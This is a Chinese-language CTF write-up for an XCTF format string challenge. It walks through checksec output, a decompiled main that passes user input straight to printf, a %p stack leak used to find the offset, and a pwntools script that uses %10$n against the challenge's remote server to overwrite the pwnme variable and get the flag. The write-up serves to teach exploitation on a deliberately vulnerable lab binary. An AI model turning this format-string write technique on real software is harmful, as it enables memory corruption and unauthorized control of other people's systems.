XCTF 格式化字符串漏洞
2021-11-26 本文已影响0人
doinb1517
题目描述
01.png题解
file查看文件
02.pnge41a0f684d0e497f87bb309f91737e4d: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=113a10b953bc39c6e182c4ce6e05582ba2f8017a, not stripped
checksec
└─# checksec --file=e41a0f684d0e497f87bb309f91737e4d
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 77) Symbols No 0 3 e41a0f684d0e497f87bb309f91737e4d
checksec 参考 https://www.jianshu.com/p/755e52d48a77
运行程序
03.pngIDA打开,F5反编译
int __cdecl main(int argc, const char **argv, const char **envp)
{
_DWORD buf[2]; // [esp+1Eh] [ebp-7Eh] BYREF
__int16 v5; // [esp+26h] [ebp-76h]
char s[100]; // [esp+28h] [ebp-74h] BYREF
unsigned int v7; // [esp+8Ch] [ebp-10h]
v7 = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
buf[0] = 0;
buf[1] = 0;
v5 = 0;
memset(s, 0, sizeof(s));
puts("please tell me your name:");
read(0, buf, 0xAu);
puts("leave your message please:");
fgets(s, 100, stdin);
printf("hello %s", (const char *)buf);
puts("your message is:");
printf(s);
if ( pwnme == 8 )
{
puts("you pwned me, here is your flag:\n");
system("cat flag");
}
else
{
puts("Thank you!");
}
return 0;
}
只要pwnme == 8 即可满足条件,这里存在格式化字符串漏洞,格式化字符串
04.png这里pwnme位于bss段,bss是英文Block Started by Symbol的简称。bss段属于静态内存分配。 而且没有开启PIE(地址随机化)。
一般printf的参数是:格式化字符串 + 参数1 + 参数2 …。如果后面的参数数量对应不上格式化字符串中需要的参数,会自动从栈顶获取对应的参数。这样我们就可以根据输入的字符离栈顶的偏移再次找到它,最后利用%k$n将其解析为地址,然后改变地址上存储的数据,达到内存覆盖。
寻找偏移
┌──(kali㉿kali)-[~]
└─$ ./e41a0f684d0e497f87bb309f91737e4d
please tell me your name:
aaaa
leave your message please:
AAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
hello aaaa
your message is:
AAAA0xfff35e5e.0xf7efe580.0xfff35ebc.0xf7f4db00.0x1.0xf7f19410.0x61610001.0xa6161.(nil).0x41414141.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.
Thank you!
地址偏移第十位,写wp。
from pwn import *
io = remote('111.200.241.244',53291)
pwnme_addr = 0x804A068
payload = p32(pwnme_addr) + b'AAAA%10$n';想要覆盖的值为8,所以在四字节的基础上加四个A
io.sendlineafter("please tell me your name:\n","aaaa")
io.sendlineafter("leave your message please:\n",payload)
io.interactive()